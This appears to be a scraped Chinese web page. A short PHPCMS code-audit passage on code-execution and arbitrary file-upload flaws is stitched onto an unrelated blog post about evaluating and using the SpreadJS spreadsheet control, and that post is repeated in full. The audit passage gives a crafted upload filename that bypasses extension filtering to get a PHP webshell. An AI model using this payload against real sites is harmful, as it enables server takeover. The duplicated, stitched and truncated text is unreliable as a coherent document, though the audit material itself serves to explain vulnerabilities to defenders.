命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
数据可视化探索之 SpreadJS
网站优化 • 优采云 发表了文章 • 0 个评论 • 140 次浏览 • 2022-06-20 19:31
本文首发于政采云前端团队博客:数据可视化探索之 SpreadJS
一、前言
数据可视化包含三个分支:科学可视化、信息可视化、可视分析。
1、科学可视化主要关注的是三维现象的可视化,如建筑学、气象学、医学或生物学方面的各种系统。重点在于对体、面以及光源等等的逼真渲染,或许甚至还包括某种动态成分。
2、信息可视化是一种将数据与设计结合起来的图片,有利于个人或组织简短有效地向受众传播信息的数据表现形式。
3、可视分析学被定义为由可视交互界面为基础的分析推理科学,将图形学、数据挖掘、人机交互等技术融合在一起,形成人脑智能和机器智能优势互补和相互提升。
可视化分析中可视化报表是重中之重,把大量的数据快速的展示出来,并且灵活的进行数据操作,其中操作包括数据的筛选、关联、联动、钻取,文案的查询,替换、样式设置,条件格式的注入实现多色阶、图标集、数据条、重复值,以及公式的插入,跨表联动等。SpreadJS 在解决可视化分析报表中最为突出,下面我们只针对可视化分析中 SpreadJS 所扮演色做探讨。
二、报表可视化难点
互联网电商服务业行业,平时会处理大量商业信息和用户信息,客服和数据分析师,是报表主要用户人员。
客服平时每天都会处理大量的工单填报、客诉登记、第三方平台原始数据的导入、统计汇总、审核审批、电签、分发等工作。平时大部分工作信息的载体都是 Excel,每天服务器需要处理海量的文档,由于 Excel 文档本身数据难以提取入库,模板更新时也不方便第一时间分发到操作员处,难以整合到 Web 页面里等问题。
数据分析师需要拿到数据进行汇总,算出各个商品品牌的销售额,最大值、最小值、平均值等,标识出有价值的数据。抓取有效数据,制作成报表给 boss。
针对以上的场景,报表可视化可以总结出以下几个难点:
1. 并发
公司客服人数众多,几千人同时在线重度操作,业务流转周期短、数据量大,所以对服务端并发性能消耗是很大的。可以在后台用 Apache POI 来提取和修改 Excel 数据、并执行其中的公式计算等。这样会遇到两个性能瓶颈:
1)需要频繁地上传、下载文档,服务器带宽承受了很大的压力;
2)所有 Excel 解析、提取的操作都在服务器端,频繁的 IO 操作让服务器不堪重负。
以上两个性能点,在目前的架构下很难突破,这也是重构项目时最具挑战性的需求点之一。当然硬堆服务器配置也是一个解决方案,但无法解决其它的一些问题,并且也会带来运维的压力。
2. 对 Excel 操作和兼容性要求较高
新系统如果不能让大家快速上手使用,以这个项目用户的体量,培训成本将无法承受。而且要能够直接导入已有的 Excel 报表模板,否则再次开发或设计所有 Excel 报表也是难以接受的。
3. 报表格式灵活多变
针对不同的业务场景,报表的模版也是千变万化。因此不需要研发的介入,操作员的设计和填报都可以在页面上完成显得尤为重要。
4. 支持公式计算
由于涉及到商品、订单、成本核算、财务统计等模块,对计算公式的种类和性能要求较高。
5. 工作流中的数据文档
以前系统的工作流,涉及到 Excel 报表时,要么数据会先在服务端和 Excel 模板进行拼装,要么系统根据路径找到文件服务器的 Excel 文件,然后流转到对应环节。一些新的业务模块,甚至还只能用邮件进行文件传输。
这个过程会产生大量的文件,对文件服务器的带来了很大压力,后台也不得不定期做批量的数据拆分和维护。这次升级系统需要解决这个问题。
三、思考如何选型
首先,选型的第一步就是搞清楚市面上具体有哪些产品供我们选择,对于目前市面上能集成到系统中,支持这种在线表格文档编辑的产品有不少,大体我把他们分了两类。
1. 云文档类型产品
这种产品有很多,类似 WPS、石墨文档、Office Online。它们本身具备较高的完成度,已经帮用户实现了包括在线协同内的几乎所有功能,甚至也支持一定程度的二次开发而且可以私有化部署。但问题在于通常这类产品封闭性比较强,二次定制开发还是相对比较困难,且不够轻量。授权方式也多以按时间、按并发量、用户数量等方式授权,价格昂贵,不是很适合我们的需要。
2. 控件类型产品
像 LuckySheet、Handsontable、SpreadJS 这种就是标准的控件了,它们都是纯前端表格控件,都支持 Excel 的功能特性和 json 数据绑定。
LuckySheet () 是国内的MIT开源软件,可以拿来商用。但在我调研时它才刚上线 1、2 个月,并且不像 React 这种有某个大厂来背书,所以不可能拿来用到我们的正式项目里。截止目前已经过去了 1 年,陆续推出了 群、论坛等交流平台,但仍显薄弱。
Handsontable () 是国外的一个商业表格控件,据说二次开发坑较多,但对我们来说最大的问题是它没有中文支持团队。
SpreadJS () 是葡萄城公司的商业Excel表格控件,有趣的是我发现在 V2EX 的 LuckySheet 下方评论区中,LuckySheet 的作者也说 SpreadJS 是行业标杆。它支持导入包括公式、图表、样式、条件格式在内的绝大部分 Excel 特性(不支持宏)。并且最惊喜的是,它的操作界面是一个完整的 Excel 界面,完全纯 JS 开发的,用 json 进行模板和数据交互。同时 SpreadJS 也有对应的售后支持团队,技术问题可以工作日期间随时电话、论坛交流,相关的资料包括视频、文档、示例、API 手册也都非常丰富,甚至还可以请他们的技术顾问来公司培训。对于像我们这种工期短、开发任务比较繁重的项目组,确实能节约大量的精力,降低了风险。
图片来源:SpreadJS 在线 Excel 编辑器 ()
那么什么是控件?为什么要用控件?
“
引用维基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在计算机编程当中,控件(或部件,widget或control)是一种 图形用户界面 元素,其显示的信息排列可由用户改变,例如 视窗 或 文本框。控件定义的特点是为给定数据的直接操作(direct manipulation)提供单独的互动点。控件是一种基本的可视构件块,包含在应用程序中,控制着该程序处理的所有数据以及关于这些数据的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次开发的功能模块。控件相对依赖更轻,可塑性更好,并且也有对应的开发文档和 API,是面向开发者的基础功能包,便于按需求来定制功能。
四、SpreadJS 需求解决方案和优势1. 并发
由于 SpreadJS 是数据和模板分离的设计,填报人员只需要在页面上完成填报。提交时可以只提交填报好的数据 json 即可,服务器再也不用集中解析所有Excel 文件了。带宽消耗也直接节约了一半。
2. 对 Excel 操作和兼容性要求较高
在内部试用时,财务和客服的小姐姐们反馈,使用体验跟 Excel 几乎完全一样,不需要再特意培训。而且我们自己的大量 Excel 报表可以直接导入进去(二次开发后也可以实现批量和远程导入),包括图表、公式、表格样式等等一系列元素都可以直接导入线上操作。
3. 报表格式灵活多变
设计人员可以直接在线设计,或者把 Excel 设计好的报表,拿到 Web 端,做好数据绑定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文档的所有信息)
4. 支持公式计算
支持了 450 多种( Excel 一共 480 多种)公式,还可以自己开发扩展自定义公式,对财务也够用了。同时还支持所有 Excel 的引用操作,比如跨 sheet 引用、绝对引用、函数命名信息之类。
5. 工作流中的数据文档
基本脱离了对文件的依赖,所有流程状态和依赖的数据都可以在数据库中记录,文件服务器只需要保存少量的模板文档即可(其实模板数量不大时可以直接放到数据库里,不过我们有现成的文件服务器)。这里节约了我们 90% 文件服务器的空间开销,运维的小伙伴半夜都要笑醒。
五、深入SpreadJS
重点来了,其实最让我这个前端开发者感兴趣的就是 SpreadJS 的一些底层设计、以及对内存、性能平衡性的优化。对此我做了很多调研和学习,好在这方面资料不难找,常常可以在葡萄城官方论坛的公开课版块()遇到一些相关的技术分享。下边是自己了解学习到的内容,做个简单总结:
1. 渲染性能
性能肯定是每个深度表格控件用户最担心的问题。我们的数据量常常达到好几千条,而且 Excel 不方便分页(涉及前端的公式计算汇总),所以选型期间很担心。后来发现想多了,SpreadJS 可以轻松加载 50 万条数据加载耗时 200 ms左右(官网性能演示示例()只能加载 5 万,我们自己扒下来测的 50 万)。后来深入了解才知道,解决这个问题,他们的思路是这样的:
用 Canvas 渲染表格部分,并且只渲染用户看到的部分内容,这就实现了加载 1000 行和加载 100000 行数据速度都很快,性能相差不大的现象。
而 Double buffering 是为了解决连续渲染的连续性体验问题,也可以进一步提升渲染速度。这个名词估计听过的人少,但应该人人都体验过,Double buffering 在图形学里,一般称作双缓冲,实际上的绘图指令是在一个缓冲区完成,这里的绘图非常的快,在绘图指令完成之后,再通过交换指令把完成的图形立即显示在屏幕上,这就避免了出现绘图的不完整,同时效率很高。在游戏里其实很常见,当我们主控的人物在地图上奔跑时,游戏引擎会按照人物移动方向实时加载和渲染地图,这就避免了一次性加载超大地图时那漫长的等待。
图片来源:葡萄城公开课【SpreadJS性能优化】()
SpreadJS 对表格数据的存储优化采用了稀疏数组的数据结构。稀疏数组常用来优化二维数组(比如棋盘、地图等场景)的内存占用,但它有个天生的缺陷,就是访问性能慢。
所以当时针对这个疑问,我给它做了压力测试,百万级别的遍历耗时 200 多ms。性能可以满足我们的需求。
2. 计算引擎
据官方介绍来看,公式引擎其实是包含了两大实现的部分,一个是计算逻辑系统、一个是引用系统。
Excel 中公式的计算都是依赖于某些原始数据的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把这部分功能封装的已经非常原生化了,根本不需要开发者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表单引用、相对/绝对引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(没列举完,感兴趣的同学可以自行搜索学习)。SpreadJS 的 runtime 是在网页端,因此跨 Workbook 引用就别想了,至少目前肯定没支持。
SUM、IF、MATCH、VLOOKUP 这种能输入到单元格里的计算公式,用起来就像是一个个的小“逻辑包”,目前 SpreadJS 有 460+ 种原生的公式函数,而 Excel 只有 490+ 种,并且 SpreadJS 能自定制公式,使用体验与原生公式一样。
对于底层实现,实际上经过多个版本的迭代,这些公式早已不是一个个独立的“逻辑孤岛”了。公式的实现在底层有大量的抽象和复用,据说新版本在性能提升的同时,代码量比老版本有明显精简,这对前端工程打包也是比较友好的。
对于嵌套公式计算的实现,SpreadJS 在底层建立起了 AST 树来解析用户设置公式的计算逻辑,从官方示例的代码来看,公式底层建立了一套 Expression,并且有对应的 public 接口可供调用,如图:
图片来源:【SpreadJS公式结构树形展示】()
首先,作为一个前端技术,咱们可以先从公式计算的技术要求上来分析性能可能出现的瓶颈以及造成的影响。我们在开发时用到了大量的用户事件、脏数据、联动等功能,所有这些功能确保正确运行的一个重要前提,就是必须能确保随时可以拿到正确的计算结果,那么最直接的实现思路就是让公式以高优先级、同步的方式来执行完计算。
大家都知道,多线程可以帮助分担计算压力,但是先抛开设计和实现难度不说,即便支持了 Web Worker,JavaScript 严格来说也只能算是一个单线程语言,因为它的 Web Worker 子线程完全受主线程控制,并且主线程无法被阻塞挂起。所以即使引入了 Web Worker,也无法确保上边提到的同步执行。
经过以上分析,可以看出公式计算性能的局限性,取决于 JavaScript 的计算能力。我找了一张相关的图片,可以直观反映 Node.js 的计算能力(Node.js 是 V8 引擎,公认最快的 JS 引擎)
图片引用自《深入浅出 Node.js》
而 SpreadJS 官方给出了一组公式的计算数据,参考如下:
据我们测试,以上计算性能接近原生JS的计算性能,SpreadJS 在这方面的优化已经十分接近物理极限了。目前在我们的应用场景中,这个计算性能已经足够使用,但不排除以后会出现海量的数据和公式的计算需求,而在这方面官方也给出了相关解决方案,参考这里 ()。
据说,官方还在进一步开发缓存技术,来实现公式计算的分块缓存:即使引用链上有值发生变化,也不需要计算整个引用链的公式。听起来很强大,思路也靠谱,但愿早点推出。
3. 样式系统
Excel 的样式系统非常复杂,边框、字体、对齐、数据格式、条件格式等等每一个功能点都有非常灵活庞大的实现,刚开始了解 SpreadJS 时,我也被它的 Style 类惊呆了,除了我能想象到的边框、背景、字体、对齐等这些能“看得到”的,竟然也有单元格类型、数据格式、表格按钮、下拉、水印这类东西。不由得感叹 Style 太重了,如果定制大量的单元格样式,内存和性能肯定都不好。不过实际应用中倒也没发现瓶颈,原来这里采用了分层结构来设计,如图:
图片来源:葡萄城公开课【SpreadJS性能优化】
六、SpreadJS怎么用?1. 渲染表格
图 6.1-1 绑定数据和公式
首先获取全局 spread 对象,spread 是整个表格的主体,spread 又分成多个 sheet。SpreadJS 初始化结束都会返回一个 spread 对象。
<br /> methods:{<br /> spreadInitHandle: function (spread) {<br /> this.spread = sprea<br /> },<br /> }<br />
tableDataBind() {<br /> // 数据源,可以从后台请求拿到<br /> var dataSource = {<br /> // 注意这里加了一层bindPath,用于映射表格的绑定路径<br /> bindPath_table: [{<br /> c1: 100,<br /> c2: 90,<br /> c3: 30,<br /> c4: 40<br /> }, {<br /> c1: 88,<br /> c2: 66,<br /> c3: 55,<br /> c4:100<br /> }, {<br /> c1: 30,<br /> c2: 89,<br /> c3: 100,<br /> c4: 40<br /> },{<br /> c1: 40,<br /> c2: 66,<br /> c3: 88,<br /> c4: 40<br /> }]<br /> };<br /> // 表格绑定和单元格绑定数据源,需要用SpreadJS的CellBindingSource包装一下<br /> var spreadNS = GC.Spread.Sheets;<br /> var dataSource1 = new spreadNS.Bindings.CellBindingSource(dataSource);<br /> var table2 = this.activeSheet.tables.add("tableName", 0, 0, 1, 5, spreadNS.Tables.TableThemes.light6);<br /> table2.showFooter(true);<br /> table2.autoGenerateColumns(false);<br /> var c1 = new spreadNS.Tables.TableColumn(1);<br /> c1.name("语文");<br /> c1.dataField("c1");<br /> var c2 = new spreadNS.Tables.TableColumn(2);<br /> c2.name("数学");<br /> c2.dataField("c2");<br /> var c3 = new spreadNS.Tables.TableColumn(3);<br /> c3.name("英语");<br /> c3.dataField("c3");<br /> var c4 = new spreadNS.Tables.TableColumn(4);<br /> c4.name("化学");<br /> c4.dataField("c4");<br /> var c5 = new spreadNS.Tables.TableColumn(5);<br /> c5.name("合计");<br /> table2.bindColumns([c1, c2, c3, c4, c5]);<br /> table2.bindingPath("bindPath_table");<br /> // 设置公式<br /> table2.setColumnDataFormula(4, "=[@语文]+[@数学]+[@英语]+[@化学]");<br /> table2.setColumnFormula(4, "=SUBTOTAL(109,[合计])");<br /> // 设置允许单元格的内容超出单元格,与绑定无关<br /> this.activeSheet.options.allowCellOverflow = true;<br /> // 绑定dataSource<br /> this.activeSheet.setDataSource(dataSource1);<br /> this.spread.resumePaint();<br />},<br />
图 6.1-2函数名和函数码映射表2. 渲染条件格式
渲染条件格式:数据渲染完成只能保证数据能正常显示出来,但是这还不能满足数据分析师的需求,还要明显展示有效数据譬如:最大值,最小值标红,进度条展示一个变化状态,图标展示上升还是下降,双色阶,三色阶,等,具体怎么实现?
<p>iconset() {<br /> var activeSheet = this.activeSheet;<br /> var iconSetRule = new GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br /> // 演示demo先写死区域<br /> iconSetRule.ranges([new GC.Spread.Sheets.Range(0,0, 5, 5)]);<br /> // IconSetType图标志的类型:箭头,圆圈和execl 打通的,excel有哪些这这边就支持哪些<br /> iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br /> var iconCriteria = iconSetRule.iconCriteria();<br /> iconCriteria[0] = new GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br /> true,<br /> GC.Spread.Sheets.ConditionalFormatting.IconValueType.number, <br /> 60<br /> );//( 查看全部
数据可视化探索之 SpreadJS
本文首发于政采云前端团队博客:数据可视化探索之 SpreadJS
一、前言
数据可视化包含三个分支:科学可视化、信息可视化、可视分析。
1、科学可视化主要关注的是三维现象的可视化,如建筑学、气象学、医学或生物学方面的各种系统。重点在于对体、面以及光源等等的逼真渲染,或许甚至还包括某种动态成分。
2、信息可视化是一种将数据与设计结合起来的图片,有利于个人或组织简短有效地向受众传播信息的数据表现形式。
3、可视分析学被定义为由可视交互界面为基础的分析推理科学,将图形学、数据挖掘、人机交互等技术融合在一起,形成人脑智能和机器智能优势互补和相互提升。
可视化分析中可视化报表是重中之重,把大量的数据快速的展示出来,并且灵活的进行数据操作,其中操作包括数据的筛选、关联、联动、钻取,文案的查询,替换、样式设置,条件格式的注入实现多色阶、图标集、数据条、重复值,以及公式的插入,跨表联动等。SpreadJS 在解决可视化分析报表中最为突出,下面我们只针对可视化分析中 SpreadJS 所扮演色做探讨。
二、报表可视化难点
互联网电商服务业行业,平时会处理大量商业信息和用户信息,客服和数据分析师,是报表主要用户人员。
客服平时每天都会处理大量的工单填报、客诉登记、第三方平台原始数据的导入、统计汇总、审核审批、电签、分发等工作。平时大部分工作信息的载体都是 Excel,每天服务器需要处理海量的文档,由于 Excel 文档本身数据难以提取入库,模板更新时也不方便第一时间分发到操作员处,难以整合到 Web 页面里等问题。
数据分析师需要拿到数据进行汇总,算出各个商品品牌的销售额,最大值、最小值、平均值等,标识出有价值的数据。抓取有效数据,制作成报表给 boss。
针对以上的场景,报表可视化可以总结出以下几个难点:
1. 并发
公司客服人数众多,几千人同时在线重度操作,业务流转周期短、数据量大,所以对服务端并发性能消耗是很大的。可以在后台用 Apache POI 来提取和修改 Excel 数据、并执行其中的公式计算等。这样会遇到两个性能瓶颈:
1)需要频繁地上传、下载文档,服务器带宽承受了很大的压力;
2)所有 Excel 解析、提取的操作都在服务器端,频繁的 IO 操作让服务器不堪重负。
以上两个性能点,在目前的架构下很难突破,这也是重构项目时最具挑战性的需求点之一。当然硬堆服务器配置也是一个解决方案,但无法解决其它的一些问题,并且也会带来运维的压力。
2. 对 Excel 操作和兼容性要求较高
新系统如果不能让大家快速上手使用,以这个项目用户的体量,培训成本将无法承受。而且要能够直接导入已有的 Excel 报表模板,否则再次开发或设计所有 Excel 报表也是难以接受的。
3. 报表格式灵活多变
针对不同的业务场景,报表的模版也是千变万化。因此不需要研发的介入,操作员的设计和填报都可以在页面上完成显得尤为重要。
4. 支持公式计算
由于涉及到商品、订单、成本核算、财务统计等模块,对计算公式的种类和性能要求较高。
5. 工作流中的数据文档
以前系统的工作流,涉及到 Excel 报表时,要么数据会先在服务端和 Excel 模板进行拼装,要么系统根据路径找到文件服务器的 Excel 文件,然后流转到对应环节。一些新的业务模块,甚至还只能用邮件进行文件传输。
这个过程会产生大量的文件,对文件服务器的带来了很大压力,后台也不得不定期做批量的数据拆分和维护。这次升级系统需要解决这个问题。
三、思考如何选型
首先,选型的第一步就是搞清楚市面上具体有哪些产品供我们选择,对于目前市面上能集成到系统中,支持这种在线表格文档编辑的产品有不少,大体我把他们分了两类。
1. 云文档类型产品
这种产品有很多,类似 WPS、石墨文档、Office Online。它们本身具备较高的完成度,已经帮用户实现了包括在线协同内的几乎所有功能,甚至也支持一定程度的二次开发而且可以私有化部署。但问题在于通常这类产品封闭性比较强,二次定制开发还是相对比较困难,且不够轻量。授权方式也多以按时间、按并发量、用户数量等方式授权,价格昂贵,不是很适合我们的需要。
2. 控件类型产品
像 LuckySheet、Handsontable、SpreadJS 这种就是标准的控件了,它们都是纯前端表格控件,都支持 Excel 的功能特性和 json 数据绑定。
LuckySheet () 是国内的MIT开源软件,可以拿来商用。但在我调研时它才刚上线 1、2 个月,并且不像 React 这种有某个大厂来背书,所以不可能拿来用到我们的正式项目里。截止目前已经过去了 1 年,陆续推出了 群、论坛等交流平台,但仍显薄弱。
Handsontable () 是国外的一个商业表格控件,据说二次开发坑较多,但对我们来说最大的问题是它没有中文支持团队。
SpreadJS () 是葡萄城公司的商业Excel表格控件,有趣的是我发现在 V2EX 的 LuckySheet 下方评论区中,LuckySheet 的作者也说 SpreadJS 是行业标杆。它支持导入包括公式、图表、样式、条件格式在内的绝大部分 Excel 特性(不支持宏)。并且最惊喜的是,它的操作界面是一个完整的 Excel 界面,完全纯 JS 开发的,用 json 进行模板和数据交互。同时 SpreadJS 也有对应的售后支持团队,技术问题可以工作日期间随时电话、论坛交流,相关的资料包括视频、文档、示例、API 手册也都非常丰富,甚至还可以请他们的技术顾问来公司培训。对于像我们这种工期短、开发任务比较繁重的项目组,确实能节约大量的精力,降低了风险。
图片来源:SpreadJS 在线 Excel 编辑器 ()
那么什么是控件?为什么要用控件?
“
引用维基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在计算机编程当中,控件(或部件,widget或control)是一种 图形用户界面 元素,其显示的信息排列可由用户改变,例如 视窗 或 文本框。控件定义的特点是为给定数据的直接操作(direct manipulation)提供单独的互动点。控件是一种基本的可视构件块,包含在应用程序中,控制着该程序处理的所有数据以及关于这些数据的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次开发的功能模块。控件相对依赖更轻,可塑性更好,并且也有对应的开发文档和 API,是面向开发者的基础功能包,便于按需求来定制功能。
四、SpreadJS 需求解决方案和优势1. 并发
由于 SpreadJS 是数据和模板分离的设计,填报人员只需要在页面上完成填报。提交时可以只提交填报好的数据 json 即可,服务器再也不用集中解析所有Excel 文件了。带宽消耗也直接节约了一半。
2. 对 Excel 操作和兼容性要求较高
在内部试用时,财务和客服的小姐姐们反馈,使用体验跟 Excel 几乎完全一样,不需要再特意培训。而且我们自己的大量 Excel 报表可以直接导入进去(二次开发后也可以实现批量和远程导入),包括图表、公式、表格样式等等一系列元素都可以直接导入线上操作。
3. 报表格式灵活多变
设计人员可以直接在线设计,或者把 Excel 设计好的报表,拿到 Web 端,做好数据绑定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文档的所有信息)
4. 支持公式计算
支持了 450 多种( Excel 一共 480 多种)公式,还可以自己开发扩展自定义公式,对财务也够用了。同时还支持所有 Excel 的引用操作,比如跨 sheet 引用、绝对引用、函数命名信息之类。
5. 工作流中的数据文档
基本脱离了对文件的依赖,所有流程状态和依赖的数据都可以在数据库中记录,文件服务器只需要保存少量的模板文档即可(其实模板数量不大时可以直接放到数据库里,不过我们有现成的文件服务器)。这里节约了我们 90% 文件服务器的空间开销,运维的小伙伴半夜都要笑醒。
五、深入SpreadJS
重点来了,其实最让我这个前端开发者感兴趣的就是 SpreadJS 的一些底层设计、以及对内存、性能平衡性的优化。对此我做了很多调研和学习,好在这方面资料不难找,常常可以在葡萄城官方论坛的公开课版块()遇到一些相关的技术分享。下边是自己了解学习到的内容,做个简单总结:
1. 渲染性能
性能肯定是每个深度表格控件用户最担心的问题。我们的数据量常常达到好几千条,而且 Excel 不方便分页(涉及前端的公式计算汇总),所以选型期间很担心。后来发现想多了,SpreadJS 可以轻松加载 50 万条数据加载耗时 200 ms左右(官网性能演示示例()只能加载 5 万,我们自己扒下来测的 50 万)。后来深入了解才知道,解决这个问题,他们的思路是这样的:
用 Canvas 渲染表格部分,并且只渲染用户看到的部分内容,这就实现了加载 1000 行和加载 100000 行数据速度都很快,性能相差不大的现象。
而 Double buffering 是为了解决连续渲染的连续性体验问题,也可以进一步提升渲染速度。这个名词估计听过的人少,但应该人人都体验过,Double buffering 在图形学里,一般称作双缓冲,实际上的绘图指令是在一个缓冲区完成,这里的绘图非常的快,在绘图指令完成之后,再通过交换指令把完成的图形立即显示在屏幕上,这就避免了出现绘图的不完整,同时效率很高。在游戏里其实很常见,当我们主控的人物在地图上奔跑时,游戏引擎会按照人物移动方向实时加载和渲染地图,这就避免了一次性加载超大地图时那漫长的等待。
图片来源:葡萄城公开课【SpreadJS性能优化】()
SpreadJS 对表格数据的存储优化采用了稀疏数组的数据结构。稀疏数组常用来优化二维数组(比如棋盘、地图等场景)的内存占用,但它有个天生的缺陷,就是访问性能慢。
所以当时针对这个疑问,我给它做了压力测试,百万级别的遍历耗时 200 多ms。性能可以满足我们的需求。
2. 计算引擎
据官方介绍来看,公式引擎其实是包含了两大实现的部分,一个是计算逻辑系统、一个是引用系统。
Excel 中公式的计算都是依赖于某些原始数据的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把这部分功能封装的已经非常原生化了,根本不需要开发者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表单引用、相对/绝对引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(没列举完,感兴趣的同学可以自行搜索学习)。SpreadJS 的 runtime 是在网页端,因此跨 Workbook 引用就别想了,至少目前肯定没支持。
SUM、IF、MATCH、VLOOKUP 这种能输入到单元格里的计算公式,用起来就像是一个个的小“逻辑包”,目前 SpreadJS 有 460+ 种原生的公式函数,而 Excel 只有 490+ 种,并且 SpreadJS 能自定制公式,使用体验与原生公式一样。
对于底层实现,实际上经过多个版本的迭代,这些公式早已不是一个个独立的“逻辑孤岛”了。公式的实现在底层有大量的抽象和复用,据说新版本在性能提升的同时,代码量比老版本有明显精简,这对前端工程打包也是比较友好的。
对于嵌套公式计算的实现,SpreadJS 在底层建立起了 AST 树来解析用户设置公式的计算逻辑,从官方示例的代码来看,公式底层建立了一套 Expression,并且有对应的 public 接口可供调用,如图:
图片来源:【SpreadJS公式结构树形展示】()
首先,作为一个前端技术,咱们可以先从公式计算的技术要求上来分析性能可能出现的瓶颈以及造成的影响。我们在开发时用到了大量的用户事件、脏数据、联动等功能,所有这些功能确保正确运行的一个重要前提,就是必须能确保随时可以拿到正确的计算结果,那么最直接的实现思路就是让公式以高优先级、同步的方式来执行完计算。
大家都知道,多线程可以帮助分担计算压力,但是先抛开设计和实现难度不说,即便支持了 Web Worker,JavaScript 严格来说也只能算是一个单线程语言,因为它的 Web Worker 子线程完全受主线程控制,并且主线程无法被阻塞挂起。所以即使引入了 Web Worker,也无法确保上边提到的同步执行。
经过以上分析,可以看出公式计算性能的局限性,取决于 JavaScript 的计算能力。我找了一张相关的图片,可以直观反映 Node.js 的计算能力(Node.js 是 V8 引擎,公认最快的 JS 引擎)
图片引用自《深入浅出 Node.js》
而 SpreadJS 官方给出了一组公式的计算数据,参考如下:
据我们测试,以上计算性能接近原生JS的计算性能,SpreadJS 在这方面的优化已经十分接近物理极限了。目前在我们的应用场景中,这个计算性能已经足够使用,但不排除以后会出现海量的数据和公式的计算需求,而在这方面官方也给出了相关解决方案,参考这里 ()。
据说,官方还在进一步开发缓存技术,来实现公式计算的分块缓存:即使引用链上有值发生变化,也不需要计算整个引用链的公式。听起来很强大,思路也靠谱,但愿早点推出。
3. 样式系统
Excel 的样式系统非常复杂,边框、字体、对齐、数据格式、条件格式等等每一个功能点都有非常灵活庞大的实现,刚开始了解 SpreadJS 时,我也被它的 Style 类惊呆了,除了我能想象到的边框、背景、字体、对齐等这些能“看得到”的,竟然也有单元格类型、数据格式、表格按钮、下拉、水印这类东西。不由得感叹 Style 太重了,如果定制大量的单元格样式,内存和性能肯定都不好。不过实际应用中倒也没发现瓶颈,原来这里采用了分层结构来设计,如图:
图片来源:葡萄城公开课【SpreadJS性能优化】
六、SpreadJS怎么用?1. 渲染表格
图 6.1-1 绑定数据和公式
首先获取全局 spread 对象,spread 是整个表格的主体,spread 又分成多个 sheet。SpreadJS 初始化结束都会返回一个 spread 对象。
<br /> methods:{<br /> spreadInitHandle: function (spread) {<br /> this.spread = sprea<br /> },<br /> }<br />
tableDataBind() {<br /> // 数据源,可以从后台请求拿到<br /> var dataSource = {<br /> // 注意这里加了一层bindPath,用于映射表格的绑定路径<br /> bindPath_table: [{<br /> c1: 100,<br /> c2: 90,<br /> c3: 30,<br /> c4: 40<br /> }, {<br /> c1: 88,<br /> c2: 66,<br /> c3: 55,<br /> c4:100<br /> }, {<br /> c1: 30,<br /> c2: 89,<br /> c3: 100,<br /> c4: 40<br /> },{<br /> c1: 40,<br /> c2: 66,<br /> c3: 88,<br /> c4: 40<br /> }]<br /> };<br /> // 表格绑定和单元格绑定数据源,需要用SpreadJS的CellBindingSource包装一下<br /> var spreadNS = GC.Spread.Sheets;<br /> var dataSource1 = new spreadNS.Bindings.CellBindingSource(dataSource);<br /> var table2 = this.activeSheet.tables.add("tableName", 0, 0, 1, 5, spreadNS.Tables.TableThemes.light6);<br /> table2.showFooter(true);<br /> table2.autoGenerateColumns(false);<br /> var c1 = new spreadNS.Tables.TableColumn(1);<br /> c1.name("语文");<br /> c1.dataField("c1");<br /> var c2 = new spreadNS.Tables.TableColumn(2);<br /> c2.name("数学");<br /> c2.dataField("c2");<br /> var c3 = new spreadNS.Tables.TableColumn(3);<br /> c3.name("英语");<br /> c3.dataField("c3");<br /> var c4 = new spreadNS.Tables.TableColumn(4);<br /> c4.name("化学");<br /> c4.dataField("c4");<br /> var c5 = new spreadNS.Tables.TableColumn(5);<br /> c5.name("合计");<br /> table2.bindColumns([c1, c2, c3, c4, c5]);<br /> table2.bindingPath("bindPath_table");<br /> // 设置公式<br /> table2.setColumnDataFormula(4, "=[@语文]+[@数学]+[@英语]+[@化学]");<br /> table2.setColumnFormula(4, "=SUBTOTAL(109,[合计])");<br /> // 设置允许单元格的内容超出单元格,与绑定无关<br /> this.activeSheet.options.allowCellOverflow = true;<br /> // 绑定dataSource<br /> this.activeSheet.setDataSource(dataSource1);<br /> this.spread.resumePaint();<br />},<br />
图 6.1-2函数名和函数码映射表2. 渲染条件格式
渲染条件格式:数据渲染完成只能保证数据能正常显示出来,但是这还不能满足数据分析师的需求,还要明显展示有效数据譬如:最大值,最小值标红,进度条展示一个变化状态,图标展示上升还是下降,双色阶,三色阶,等,具体怎么实现?
